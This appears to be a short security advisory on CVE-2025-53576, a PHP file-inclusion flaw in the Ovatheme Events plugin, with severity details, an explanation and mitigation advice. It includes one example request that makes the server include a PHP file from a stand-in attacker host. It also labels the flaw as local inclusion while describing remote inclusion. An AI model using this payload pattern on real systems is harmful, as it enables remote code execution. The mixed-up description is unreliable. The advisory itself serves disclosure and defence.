Overview
The vulnerability identified as CVE-2025-53576 is a critical security flaw that affects ovatheme Ovatheme Events, a popular event management solution. The vulnerability exists due to the improper control of the filename for Include/Require Statement in PHP Program, leading to a PHP Local File Inclusion (LFI) issue. This vulnerability is significant because it allows an attacker to execute arbitrary PHP code, potentially leading to system compromise or data leakage.
Vulnerability Summary
CVE ID: CVE-2025-53576
Severity: Critical (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage
Affected Products
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Product | Affected Versions
Ovatheme Events | n/a through 1.2.8
How the Exploit Works
The PHP Remote File Inclusion vulnerability arises from the application’s improper control of filenames in the Include/Require Statements of its PHP code. This flaw allows an attacker to manipulate these statements and include a file from a remote server. The included file can contain malicious PHP code that gets executed in the context of the application. This can lead to unauthorized access, data leakage, or even complete system compromise if the application is running with high privileges.
Conceptual Example Code
The following conceptual example demonstrates how an attacker might exploit this vulnerability. The attacker sends a request to a vulnerable endpoint, manipulating the PHP Include/Require Statement to include a malicious PHP file from a remote server.
GET /vulnerable_endpoint.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.comIn this example, `http://attacker.com/malicious_file.php` is a PHP file controlled by the attacker and includes malicious PHP code. When the server processes this request, it includes and executes the malicious code, leading to a successful exploit of the vulnerability.
Mitigation
The recommended mitigation for this vulnerability is to apply the vendor patch as soon as it becomes available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to detect and block attempts at exploiting this vulnerability. These systems should be configured to detect and prevent the inclusion of files from remote servers. Additionally, developers should ensure their code properly sanitizes user input and restricts the files that can be included to a known safe list. This can help prevent PHP Remote File Inclusion vulnerabilities.
